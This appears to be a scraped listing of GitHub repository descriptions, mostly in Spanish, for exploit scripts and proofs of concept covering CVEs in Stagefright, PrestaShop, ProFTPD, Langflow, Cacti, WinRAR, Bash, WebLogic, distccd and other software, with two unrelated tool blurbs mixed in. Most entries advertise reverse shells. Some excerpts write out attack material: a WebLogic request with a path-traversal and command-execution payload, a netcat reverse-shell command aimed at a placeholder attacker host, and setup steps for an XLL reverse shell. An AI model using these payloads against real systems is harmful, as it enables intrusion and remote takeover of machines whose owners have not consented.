cve-2015-1538-1

Se incluye un script de Python que genera un MP4 explotando la vulnerabilidad ‘stsc’, también conocida como CVE-2015-1538 1. Esta es una de las vulnerabilidades más críticas que reporté en la biblioteca Stagefright. El resultado esperado del exploit es una reverse shell como el usuario media. Com...

Prestashop-CVE-2024-34716

Script de Explotación para Ataque CSRF y Reverse Shell Este script automatiza un exploit de CSRF Falsificación de Petición en Sitios Cruzados para cargar un reverse shell PHP en el servidor web de un objetivo y ejecutarlo. El reverse shell se entrega como un archivo ZIP mediante un payload CSRF...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE exploit CVE : 2015-3306! ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET, --target=TARGET Vulnerab...

RCE-CVE-2025-3248

Ejecución remota de código autenticada CVE-2025-3248 en Langflow Este script de Python explota CVE-2025-3248 para ejecutar comandos arbitrarios o generar una reverse shell en un sistema vulnerable. Se requiere autenticación para usar este exploit. Características Ejecución de comandos autenticada...

fusionpbx_rce_vulnerability

Preludio Este simple código intenta completar la implementación de la vulnerabilidad encadenada presentada por Dustin Cobb en RCE mediante Caller ID – Múltiples vulnerabilidades en FusionPBX. RCE Pasos de reproducción 1. Abra la pantalla vulnerable del operador en un navegador web, ubicada en est...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || Autores: @pwnedshell & @rsgbengi 📌 ¿Qué es Larascript? Larascript es un script que aprovecha el CVE-2018-15133 y puede ejecutar comandos remotos si una aplicación Laravel vulnerable es...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc que incluye soporte de reverse-shell y contraseña. Siéntete libre de añadir más cosas : ¿Cómo probarlo? $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 En este caso, os comparto los archivos necesarios para poder explotar esta vulnerabilidad en winrar, con la cual podemos crear un PDF malicioso para entablarnos una reverse shell a nuestra máquina de atacantes. ⚠️ NOTA: Este contenido esta compartido con fines Éticos y esta creado...

CVE-2020-14295

CVE-2020-14295 Detalles de la vulnerabilidad - https://github.com/Cacti/cacti/issues/3622 Instalación pip3 install -r requirements.txt Uso $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help show this he...

Cgi-bin_bash_Reverse

Cgi-binbashReverse PoC para CVE-2014-6271 Fuente:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

xll_windows_reverse_shell

xllwindowsreverseshell xll shell inversa de Windows En tu máquina atacante Kali: git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. Actualiza el revsh.ps1 2. crea un servidor HTTP de Python python3 -m http.server 9999 En tu máquina atacante Windows: 1. Mueve notpadXLL.c a tu...

cover

Cover Keep private data, internal infrastructure and secrets out of cloud coding agents without breaking your workflow. Install · Quick start · Policies · Monitoring · Pi / OMP · Security Cover is a bidirectional privacy proxy for AI coding agents. It replaces matched sensitive values locally wit...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script Un script de exploit simple y breve para la vulnerabilidad RCE autenticada CVE-2012-2982 en el endpoint /file/show.cgi/bin. Webmin RCE Exploit — CVE-2012-2982 Este repositorio contiene un proof-of-concept en Python para Webmin 🧠 Notas El payload por defecto es una...

Enigma

Enigma Engine A native C++ reverse-engineering engine inspired by Ghidra's analysis pipeline. Enigma removes the JVM dependency and provides a standalone analysis core that can be embedded, extended, and integrated directly with native tools and AI systems. Current State Enigma is under active...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Vulnerabilidad en Spring Cloud Function CVE-2022-22963 RCE Esta es una implementación en python de Spring4Shell, CVE-2022-22963, que afecta a servicios que ejecutan Spring Cloud Function =3.1.6 para 3.1.x y =3.2.2 para 3.2.x Combinación de múltiples POCs en línea Autor: Randall Banner Fecha:...

cisco-rv-rce-poc

CVE-2023-20048 — PoC y Exploit para Cisco RV Series ⚠ ADVERTENCIA: Solo para pruebas autorizadas. No lo use contra sistemas que no posea o para los que no tenga permiso por escrito. Esto es una Prueba de Concepto solo para pruebas autorizadas. Qué es esto Repositorio pequeño con: CiscoPoc.py — Po...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 PoC de RCE Autenticado Este repositorio contiene una prueba de concepto PoC para CVE‑2025‑24367 , una vulnerabilidad de ejecución remota de código autenticada en Cacti. El problema abusa de una sanitización insuficiente de las entradas en el manejo de plantillas de gráficas. ...

CVE-2025-49132

CVE-2025-49132-POC Hice este PoC para mi desafío personal, inspirado por 0xtensho Hecho para una salida más limpia y solo para reverse shell Uso: Change the host and the listener variable first python3 CVE-2025-49132POC.py Disclaimer AVISO LEGAL: Esta Prueba de Concepto PoC es solo con fines...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

distccd_rce_CVE-2004-2687

El objetivo de este script no es usar Metasploit, sino hacerlo manualmente. Uso: nc -lvnp 4466 Ejecutando el exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...